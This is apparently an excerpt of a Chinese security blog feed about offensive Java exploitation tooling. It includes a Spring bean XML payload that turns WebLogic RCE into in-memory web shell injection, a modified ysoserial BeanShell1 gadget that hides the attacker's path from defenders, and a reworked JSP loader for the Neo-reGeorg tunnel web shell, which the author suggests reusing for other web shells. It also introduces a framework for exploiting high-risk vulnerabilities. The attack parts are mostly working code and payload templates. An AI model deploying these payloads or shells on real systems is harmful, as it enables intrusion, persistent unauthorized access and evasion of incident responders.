class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">new</span> com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass(<span class="string">"$$BCEL$$$..."</span>).newInstance();</span><br></pre></td></tr></table></figure><p>代码转换为spring bean:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">beans</span> <span class="attr">xmlns</span>=<span class="string">"http://www.springframework.org/schema/beans"</span> <span class="attr">xmlns:xsi</span>=<span class="string">"http://www.w3.org/2001/XMLSchema-instance"</span> <span class="attr">xsi:schemaLocation</span>=<span class="string">" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd "</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"classloader"</span> <span class="attr">class</span>=<span class="string">"com.sun.org.apache.bcel.internal.util.ClassLoader"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"clazz"</span> <span class="attr">factory-bean</span>=<span class="string">"classloader"</span> <span class="attr">factory-method</span>=<span class="string">"loadClass"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">constructor-arg</span> <span class="attr">type</span>=<span class="string">"java.lang.String"</span> <span class="attr">value</span>=<span class="string">"$$BCEL$$$......"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">factory-bean</span>=<span class="string">"clazz"</span> <span class="attr">factory-method</span>=<span class="string">"newInstance"</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"><span class="tag"></<span class="name">beans</span>></span></span><br></pre></td></tr></table></figure><p>有的JDK版本下bcel被去掉了,so还得继续优化。</p><h4 id="2-4-java-lang-ClassLoader-defineClass"><a href="#2-4-java-lang-ClassLoader-defineClass" class="headerlink" title="2.4 java.lang.ClassLoader#defineClass"></a>2.4 java.lang.ClassLoader#defineClass</h4><p>java下执行代码要说兼容性最好,当然还得是<code>java.lang.ClassLoader#defineClass</code>。接下来只需要思考如何把下面的代码,用sprng bean来表达即可。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">byte</span>[] clazzBytes = <span class="keyword">new</span> <span class="keyword">byte</span>[]{-<span class="number">54</span>,-<span class="number">2</span>,-<span class="number">70</span>,-<span class="number">66</span>,<span class="number">0</span>,......};</span><br><span class="line">Method defineClass = ClassLoader.class.getDeclaredMethod(<span class="string">"defineClass"</span>, <span class="keyword">byte</span>[].class, <span class="keyword">int</span>.class, <span class="keyword">int</span>.class);</span><br><span class="line">defineClass.setAccessible(<span class="keyword">true</span>);</span><br><span class="line">Class clazz = (Class)defineClass.invoke(<span class="keyword">new</span> MLet(),clazzBytes,<span class="number">0</span>,clazzBytes.length);</span><br><span class="line">clazz.newInstance();</span><br></pre></td></tr></table></figure><p><strong>通过研究发现一个小细节,spring bean可以调用私有方法无需反射。这就很方便了,可以直接调用当前class及其所有父类的方法。</strong></p><p>构造过程还遇到一个问题,使用<code><list></code>标签存储class字节码导致payload要大很多。当然有的人会想的用<code>weblogic.utils.Hex</code>来编码,其实Base64编码体积更小。由于不同版本JDK下Base64 api有变化,为了通用我打算去weblogic下找,并着重考虑<code>weblogic.*</code>包名下的。最后找到了如下两个,不过<code>1</code>没有被当前classloader加载,只能选择<code>2</code>。</p><ol><li>weblogic.servlet.utils.Base64</li><li>weblogic.utils.encoders.BASE64Decoder</li></ol><p>最终优化如下,大概就是我目前觉得最好的payload了。如果你有更好的payload欢迎留言交流。</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">beans</span> <span class="attr">xmlns</span>=<span class="string">"http://www.springframework.org/schema/beans"</span> <span class="attr">xmlns:xsi</span>=<span class="string">"http://www.w3.org/2001/XMLSchema-instance"</span> <span class="attr">xsi:schemaLocation</span>=<span class="string">" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd "</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"decoder"</span> <span class="attr">class</span>=<span class="string">"weblogic.utils.encoders.BASE64Decoder"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"clazzBytes"</span> <span class="attr">factory-bean</span>=<span class="string">"decoder"</span> <span class="attr">factory-method</span>=<span class="string">"decodeBuffer"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">constructor-arg</span> <span class="attr">type</span>=<span class="string">"java.lang.String"</span> <span class="attr">value</span>=<span class="string">"yv66vgAAA......"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"classLoader"</span> <span class="attr">class</span>=<span class="string">"javax.management.loading.MLet"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"clazz"</span> <span class="attr">factory-bean</span>=<span class="string">"classLoader"</span> <span class="attr">factory-method</span>=<span class="string">"defineClass"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">constructor-arg</span> <span class="attr">type</span>=<span class="string">"[B"</span> <span class="attr">ref</span>=<span class="string">"clazzBytes"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">constructor-arg</span> <span class="attr">type</span>=<span class="string">"int"</span> <span class="attr">value</span>=<span class="string">"0"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">constructor-arg</span> <span class="attr">type</span>=<span class="string">"int"</span> <span class="attr">value</span>=<span class="string">"10692"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">factory-bean</span>=<span class="string">"clazz"</span> <span class="attr">factory-method</span>=<span class="string">"newInstance"</span>/></span></span><br><span class="line"><span class="tag"></<span class="name">beans</span>></span></span><br></pre></td></tr></table></figure><p><img src="/articles/2021/some-extensions-of-spring-bean-rce-under-weblogic/inject-memshell-by-spring-bean.png" alt="通过spring bean注入内存马"></p><p>顺便写一个woodpecker插件留以后备用,美如画。</p><p><img src="/articles/2021/some-extensions-of-spring-bean-rce-under-weblogic/woodpecker-spring-bean-payload-generator.png" alt="woodpecker spring bean rce payload生成插件"></p><h2 id="0x03-参考文章"><a href="#0x03-参考文章" class="headerlink" title="0x03 参考文章"></a>0x03 参考文章</h2><ul><li><a href="https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#beans-dependencies" target="_blank" rel="noopener">https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#beans-dependencies</a></li><li><a href="https://www.cnblogs.com/happyflyingpig/p/8047441.html" target="_blank" rel="noopener">spring bean中子元素lookup-method和replaced-method</a></li></ul>]]></content>
<tags>
<tag> 漏洞利用 </tag>
</tags>
</entry>
<entry>
<title>有一个gadget正在泄露你的ID</title>
<link href="/articles/2021/a-gadget-is-secretly-leaking-your-id/"/>
<url>/articles/2021/a-gadget-is-secretly-leaking-your-id/</url>
<content type="html"><![CDATA[<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p>在Java反序列化漏洞炙手可热的当下,许多自动化工具都在使用ysoserial的gadget。而这些gadget当中,有一个gadget正在偷偷泄露你的id — <code>BeanShell1</code></p><p><img src="/articles/2021/a-gadget-is-secretly-leaking-your-id/beanshell1-leaks-the-current-running-path.png" alt="BeanShell1泄露当前运行路径"></p><p>这意味着经常使用shiro批量爆破gadget工具的小伙伴,蓝队同学可能解密下paylaod就能得到你的id了。</p><h2 id="0x02-定位信息泄露属性"><a href="#0x02-定位信息泄露属性" class="headerlink" title="0x02 定位信息泄露属性"></a>0x02 定位信息泄露属性</h2><p>通过使用<a href="https://github.com/c0ny1/java-object-searcher" target="_blank" rel="noopener">java-object-searcher</a>搜索,找到敏感信息存储在<code>bsh.NameSpace</code>类的<code>variables</code>属性中。</p><p><img src="/articles/2021/a-gadget-is-secretly-leaking-your-id/store-the-attributes-of-the-current-running-path.png" alt="存储当前运行路径的属性"></p><p>通过阅读该类代码,发现只有<code>setTypedVariable</code>方法对<code>variables</code>进行<code>put</code>操作,在该处下断点。</p><p>重新调式,看到<code>当前运行路径</code>被put进来后,顺着调用堆栈往上分析。发现<code>BeanShell1</code>在<code>Interpreter</code>对象初始化时,调用<code>bsh.Interpreter#initRootSystemObject</code>设置了<code>bsh.cwd</code>值为<code>当前运行路径</code>,最终它被保存到了序列化数据中。</p><p><img src="/articles/2021/a-gadget-is-secretly-leaking-your-id/get-the-current-running-path.png" alt="获取当前运行路径"></p><h2 id="0x03-构造干净的BeanShell1"><a href="#0x03-构造干净的BeanShell1" class="headerlink" title="0x03 构造干净的BeanShell1"></a>0x03 构造干净的BeanShell1</h2><p>既然<code>Interpreter</code>对象通过<code>setu</code>方法存储了敏感信息,那么我们同样可以调用该方法将敏感信息覆盖掉,防止信息泄露。</p><p>所以要构造一个干净的BeanShell1 gadget,只需要在<code>Interpreter</code>对象创建后反射调用<code>setu</code>方法覆盖<code>bsh.cwd</code>值为<code>.</code>(第13-15行代码)即可。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@SuppressWarnings</span>({ <span class="string">"rawtypes"</span>, <span class="string">"unchecked"</span> })</span><br><span class="line"><span class="meta">@Dependencies</span>({ <span class="string">"org.beanshell:bsh:2.0b5"</span> })</span><br><span class="line"><span class="meta">@Authors</span>({Authors.PWNTESTER, Authors.CSCHNEIDER4711})</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">BeanShell1</span> <span class="keyword">extends</span> <span class="title">PayloadRunner</span> <span class="keyword">implements</span> <span class="title">ObjectPayload</span><<span class="title">PriorityQueue</span>> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> PriorityQueue <span class="title">getObject</span><span class="params">(String command)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> <span class="comment">// BeanShell payload</span></span><br><span class="line"> String payload = BeanShellUtil.getPayload(command);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Create Interpreter</span></span><br><span class="line"> Interpreter i = <span class="keyword">new</span> Interpreter();</span><br><span class="line"> <span class="comment">/***** 覆盖bsh.cwd,清空user.dir,防止信息泄露 *****/</span></span><br><span class="line"> Method setu = i.getClass().getDeclaredMethod(<span class="string">"setu"</span>,<span class="keyword">new</span> Class[]{String.class,Object.class});</span><br><span class="line"> setu.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> setu.invoke(i,<span class="keyword">new</span> Object[]{<span class="string">"bsh.cwd"</span>,<span class="string">"."</span>});</span><br><span class="line"> <span class="comment">/***********************************************/</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// Evaluate payload</span></span><br><span class="line"> i.eval(payload);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Create InvocationHandler</span></span><br><span class="line"> XThis xt = <span class="keyword">new</span> XThis(i.getNameSpace(), i);</span><br><span class="line"> InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), <span class="string">"invocationHandler"</span>).get(xt);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Create Comparator Proxy</span></span><br><span class="line"> Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), <span class="keyword">new</span> Class<?>[]{Comparator.class}, handler);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)</span></span><br><span class="line"> <span class="keyword">final</span> PriorityQueue<Object> priorityQueue = <span class="keyword">new</span> PriorityQueue<Object>(<span class="number">2</span>, comparator);</span><br><span class="line"> Object[] queue = <span class="keyword">new</span> Object[] {<span class="number">1</span>,<span class="number">1</span>};</span><br><span class="line"> Reflections.setFieldValue(priorityQueue, <span class="string">"queue"</span>, queue);</span><br><span class="line"> Reflections.setFieldValue(priorityQueue, <span class="string">"size"</span>, <span class="number">2</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> priorityQueue;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>目前已经给<code>ysoserial</code>项目<a href="https://github.com/frohoff/ysoserial/pull/169" target="_blank" rel="noopener">pr</a>,等待官方修复。当然大家也可以使用我二次开发的<a href="https://github.com/woodpecker-framework/ysoserial-for-woodpecker" target="_blank" rel="noopener">ysoserial-for-woopecker</a>。</p><p><img src="/articles/2021/a-gadget-is-secretly-leaking-your-id/pr.png" alt="给官方提的pr"></p>]]></content>
<tags>
<tag> 安全开发 </tag>
</tags>
</entry>
<entry>
<title>通过加载class提高Neo-reGeorg兼容性</title>
<link href="/articles/2021/improve-neo-regeorg-compatibility-by-loading-classes/"/>
<url>/articles/2021/improve-neo-regeorg-compatibility-by-loading-classes/</url>
<content type="html"><![CDATA[<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p>一大早就看到<code>L-codes</code>师傅发消息说,Neo-reGeorg jsp服务端又出现问题了,印象里已经不是一两次了。大部分都是兼容性问题,这次也不例外。</p><p><img src="/articles/2021/improve-neo-regeorg-compatibility-by-loading-classes/unable-to-compile-neo-regeorg.png" alt="在tomcat 5.5.9下的报错"></p><p>是时候设计一个一劳永逸的方案了。</p><h2 id="0x02-分析原因"><a href="#0x02-分析原因" class="headerlink" title="0x02 分析原因"></a>0x02 分析原因</h2><p>我们知道jsp从被访问到运行,经历如下阶段。</p><p><img src="/articles/2021/improve-neo-regeorg-compatibility-by-loading-classes/jsp-execution-process.png" alt="jsp执行流程"></p><p>本案例中发现tomcat work目录下已经存在了<code>tunnel_jsp.java</code>,但是没有<code>tunnel_jsp.class</code>,说明阶段1已经过。结合页面报错信息,在2阶段时Tomcat内置的编译器JDTCompiler,编译报错了。</p><p>检查<code>tunnel_jsp.java</code>代码并没有语法错误,尝试使用javac编译,编译成功!看来JDTCompiler与javac实现逻辑并不同,而且没有javac强大。</p><p><img src="/articles/2021/improve-neo-regeorg-compatibility-by-loading-classes/javac-compiles-through.png" alt="javac可以编译通过"></p><p>编译成功之后我再访问tunnel.jsp页面不再报错了。可见提高一个<code>.jsp</code>的兼容,无非就是让它在各个中间件下成功变成一个<code>.class</code>。而这个过程与具体中间件的<code>jsp转换器</code>的解析机制,<code>java编译器</code>的编译机制和<code>servlet-api</code>的版本息息相关。</p><p>那么我们是不是可以把Neo-reGeorg的服务端代码提取变成class字节码,然后jsp来加载和调用,来提高这个过程的成功率呢?。<strong>总之核心思想就是把尽可能多的业务逻辑变成最终可运行的java字节码,同时尽可能的减少jsp代码,少用api少用语法糖少用特性。</strong></p><h2 id="0x03-编码实现"><a href="#0x03-编码实现" class="headerlink" title="0x03 编码实现"></a>0x03 编码实现</h2><p>我们先来移植服务端模版代码为java代码。直接新建一个<code>NeoreGeorg.java</code>,将jsp中的方法直接copy,主体代码的移植需要注意2个问题。</p><p>第一、参数提炼问题。我们需要把模版变化的地方,提取出来作为参数,比如<code>X-CMD</code>这样的指令,<code>POST request read filed</code>这样的提示,Neo-reGorg需要通过随机替换它们实现流量加密。</p><p>第二、参数传递问题。参数可以通过构造方法或者自定义方法传递进来,但是这样要多写些反射代码。本着jsp代码越少越好原则,使用每个类都有的<code>equal(java.lang.Object)</code>方法。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// https://github.com/L-codes/Neo-reGeorg/blob/46ecb6f106/templates/NeoreGeorg.java</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">NeoreGeorg</span> </span>{</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">char</span>[] en;</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">byte</span>[] de;</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">int</span> HTTPCODE;</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">int</span> READBUF;</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">int</span> MAXREADSIZE;</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">boolean</span> <span class="title">equals</span><span class="params">(Object obj)</span> </span>{</span><br><span class="line"> <span class="comment">// 接收参数</span></span><br><span class="line"> Object[] args = (Object[]) obj;</span><br><span class="line"> HttpServletRequest request = (HttpServletRequest) args[<span class="number">0</span>];</span><br><span class="line"> HttpServletResponse response = (HttpServletResponse) args[<span class="number">1</span>];</span><br><span class="line"> en = (<span class="keyword">char</span>[])args[<span class="number">2</span>];</span><br><span class="line"> de = (<span class="keyword">byte</span>[])args[<span class="number">3</span>];</span><br><span class="line"> HTTPCODE = (Integer) args[<span class="number">4</span>];</span><br><span class="line"> READBUF = (Integer) args[<span class="number">5</span>];</span><br><span class="line"> MAXREADSIZE = (Integer) args[<span class="number">6</span>];</span><br><span class="line"></span><br><span class="line"> ServletContext application = request.getSession().getServletContext();</span><br><span class="line"> Writer out = response.getWriter();</span><br><span class="line"> ......</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// Neo-reGorg主要流程代码。</span></span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> ....</span><br><span class="line"> <span class="comment">//其他方法照抄</span></span><br><span class="line"> ....</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>为了兼容更多的jdk版本我们这里选择使用1.5编译,同时为了class体积更小,可以使用<code>-g:none</code>去掉调试信息。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">javac -cp tomcat-servlet-api.jar -g:none -source 1.5 -target 1.5 NeoreGeorg.java</span><br></pre></td></tr></table></figure><p>jsp部分很简单,定义一个classloader用于加载class,然后将该class newInstance进行调用。有二个点可以简单讲讲。</p><p>第一,class字节码的存储方式问题。本着少用api的原则,我直接用byte数组存储。当然如果字节码太多,可能会有<code>The code of method _jspService(...) is exceeding the 65535 bytes limit</code>报错问题,推荐用hex编码解决。</p><p>第二,全局存储class对象问题。推荐使用<code>application</code>对象,而不是<code>session</code>对象进行存储,否则遇到负载的情况就麻烦了。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// https://github.com/L-codes/Neo-reGeorg/blob/46ecb6f106/templates/tunnel.jsp</span></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"sun.misc.BASE64Decoder"</span> %></span><br><span class="line"><%!</span><br><span class="line"> <span class="class"><span class="keyword">class</span> <span class="title">U</span> <span class="keyword">extends</span> <span class="title">ClassLoader</span> </span>{</span><br><span class="line"> U(ClassLoader c) {</span><br><span class="line"> <span class="keyword">super</span>(c);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> Class <span class="title">g</span><span class="params">(<span class="keyword">byte</span>[] b)</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">super</span>.defineClass(b, <span class="number">0</span>, b.length);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">%></span><br><span class="line"></span><br><span class="line"><%</span><br><span class="line"> Object[] args = <span class="keyword">new</span> Object[]{</span><br><span class="line"> request, <span class="comment">//0</span></span><br><span class="line"> response, <span class="comment">//1</span></span><br><span class="line"> <span class="string">"BASE64 CHARSLIST"</span>.toCharArray(), <span class="comment">//2</span></span><br><span class="line"> <span class="keyword">new</span> <span class="keyword">byte</span>[]{BASE64 ARRAYLIST},<span class="comment">//3</span></span><br><span class="line"> <span class="keyword">new</span> Integer(HTTPCODE),<span class="comment">//4</span></span><br><span class="line"> <span class="keyword">new</span> Integer(READBUF),<span class="comment">//5</span></span><br><span class="line"> <span class="keyword">new</span> Integer(MAXREADSIZE),<span class="comment">//6</span></span><br><span class="line"> <span class="string">"X-STATUS"</span>,<span class="comment">//7</span></span><br><span class="line"> <span class="string">"X-ERROR"</span>,<span class="comment">//8</span></span><br><span class="line"> <span class="string">"X-CMD"</span>,<span class="comment">//9</span></span><br><span class="line"> <span class="string">"X-TARGET"</span>,<span class="comment">//10</span></span><br><span class="line"> <span class="string">"X-REDIRECTURL"</span>,<span class="comment">//11</span></span><br><span class="line"> <span class="string">"FAIL"</span>,<span class="comment">//12</span></span><br><span class="line"> <span class="string">"Georg says, 'All seems fine'"</span>,<span class="comment">//13</span></span><br><span class="line"> <span class="string">"Failed creating socket"</span>,<span class="comment">//14</span></span><br><span class="line"> <span class="string">"Failed connecting to target"</span>,<span class="comment">//15</span></span><br><span class="line"> <span class="string">"OK"</span>,<span class="comment">//16</span></span><br><span class="line"> <span class="string">"Failed writing socket"</span>,<span class="comment">//17</span></span><br><span class="line"> <span class="string">"CONNECT"</span>,<span class="comment">//18</span></span><br><span class="line"> <span class="string">"DISCONNECT"</span>,<span class="comment">//19</span></span><br><span class="line"> <span class="string">"READ"</span>,<span class="comment">//20</span></span><br><span class="line"> <span class="string">"FORWARD"</span>,<span class="comment">//21</span></span><br><span class="line"> <span class="string">"Failed reading from socket"</span>,<span class="comment">//22</span></span><br><span class="line"> <span class="string">"No more running, close now"</span>,<span class="comment">//23</span></span><br><span class="line"> <span class="string">"POST request read filed"</span>,<span class="comment">//24</span></span><br><span class="line"> <span class="string">"Intranet forwarding failed"</span><span class="comment">//25</span></span><br><span class="line"> };</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(application.getAttribute(<span class="string">"u"</span>) != <span class="keyword">null</span>){</span><br><span class="line"> application.getAttribute(<span class="string">"u"</span>).equals(args);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">byte</span>[] classBytes = <span class="keyword">new</span> <span class="keyword">byte</span>[]{.....} <span class="comment">// NeoreGeorg.class字节码</span></span><br><span class="line"> Class clazz = <span class="keyword">new</span> U(<span class="keyword">this</span>.getClass().getClassLoader()).g(classBytes);</span><br><span class="line"> application.setAttribute(<span class="string">"u"</span>,clazz.newInstance());</span><br><span class="line"> }</span><br><span class="line">%></span><br></pre></td></tr></table></figure><p>经过测试在各个中间件下稳定运行,顺手给L-codes师傅一个<a href="https://github.com/L-codes/Neo-reGeorg/pull/42" target="_blank" rel="noopener">pr</a>。</p><h2 id="0x04-总结"><a href="#0x04-总结" class="headerlink" title="0x04 总结"></a>0x04 总结</h2><p>其实这个方法可以使用很多jsp脚本的改造,比如内存马注入jsp,jsp大马,蚁剑一句话木马等等。大家可以照猫画虎,自行修改。</p>]]></content>
<tags>
<tag> 安全开发 </tag>
</tags>
</entry>
<entry>
<title>高危漏洞狙击框架:woodpecker-framework</title>
<link href="/articles/2021/woodpecker-framework-introduce/"/>
<url>/articles/2021/woodpecker-framework-introduce/</url>
<content type="html"><![CDATA[<h2 id="0x01-简介"><a href="#0x01-简介" class="headerlink" title="0x01 简介"></a>0x01 简介</h2><p>woodpecker-framework是一款高危漏洞综合利用框架,目的是可以狙击高危漏洞,拿到权限!其设计是由我在日常红队外围打点经验抽象得来。它的每个模块和外围打点的主要流程是一一对应的。</p><p>比如遇到一个具体的外围应用,渗透测试的流程是:</p><ol><li>探测当前应用所有攻击面和风险点 (信息探测模块)</li><li>使用poc探测漏洞是否存在 (精准检测模块)</li><li>通过exp拿下webshell (深度利用模块)</li><li>遇到奇葩环境漏洞环境自动化无法打死,需要人工生成payload (荷载生成模块)</li><li>人工构造payload时经常需要做一些常规操作,比如把Class变成BCEL编码,runtime.exec命令变形等等 (辅助模块)</li></ol><p>下面围绕weblogic和shiro这两个高频漏洞应用来详细介绍每个模块。</p><h2 id="0x02-信息探测模块(InfoDetector)"><a href="#0x02-信息探测模块(InfoDetector)" class="headerlink" title="0x02 信息探测模块(InfoDetector)"></a>0x02 信息探测模块(InfoDetector)</h2><p><strong>信息探测模块的任务是寻找当前应用最薄弱的点。</strong> 显然有用的信息是判断的重要依据。这里探测的信息不是什么操作系,中间件,cms之类的指纹识别。而是针对具体应用的攻击面和风险点的探测,比如weblogic就会探测如下信息。</p><ol><li>weblogic是那个版本</li><li>协议是否开启t3/iiop协议</li><li>web端口是否可以访问到console,wls,async之类的组件</li></ol><p><img src="/articles/2021/woodpecker-framework-introduce/weblogic-info-detector.png" alt></p><p>顺便值得一提的是,我们探测t3/iiop协议的时候,还需要探测它们是否被设置为禁止连接,不然探测出open也是无法利用的。如上图的t3开启了但是配置了如下过滤。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">weblogic.security.net.ConnectionFilterImpl</span><br><span class="line">0.0.0.0/0 * * deny t3 t3s</span><br></pre></td></tr></table></figure><p>这些信息有什么用呢?当然是让我们知道面前这个weblogic的薄弱点在哪里,后续攻击的计划应该是:t3和iiop系列漏洞不用测试了,wls-wsat组件的xmldecoder反序列化漏洞可以看看。</p><h2 id="0x03-精准检测模块-POC"><a href="#0x03-精准检测模块-POC" class="headerlink" title="0x03 精准检测模块(POC)"></a>0x03 精准检测模块(POC)</h2><p><strong>精准检测模块的任务是使用poc去判断漏洞是否存在。</strong> 显然精准是这个模块关注的问题,我们的原则是误报可以原谅,但是漏报坚决杜绝。</p><p>那现实如此复杂的漏洞环境,怎么实现精准检查呢?woodpecker插件的检测原则是尽可能的实现以下所有检测方案。</p><ol><li>回显检测</li><li>dnslog检测</li><li>间接检查</li><li>写文件检测</li><li>触发补丁检测</li><li>延时检测</li><li>特定特征检测</li><li>….</li></ol><p><img src="/articles/2021/woodpecker-framework-introduce/cve-2020-148823.png" alt></p><p>这里我细说下<code>3</code>,<code>5</code>和<code>7</code>这三个方案,其他方案顾名思义。</p><p><code>间接检测</code>是不通过直接触发漏洞来检测,而是通过其他方面间接来验证。举2个例子,shiro key的检测由开始的通过回显,dnslog之类的直接检测变成了现在统计rememberMe个数。weblogic漏洞检测则可通过下载黑明单class来验证是否被修复。这些方法很巧妙,在漏检中有四两拨千斤的作用。</p><ul><li><a href="https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ" target="_blank" rel="noopener">一种另类的 shiro 检测方式</a></li><li><a href="https://mp.weixin.qq.com/s/tgQO9ILHudfkkOzeahICTg" target="_blank" rel="noopener">红蓝必备 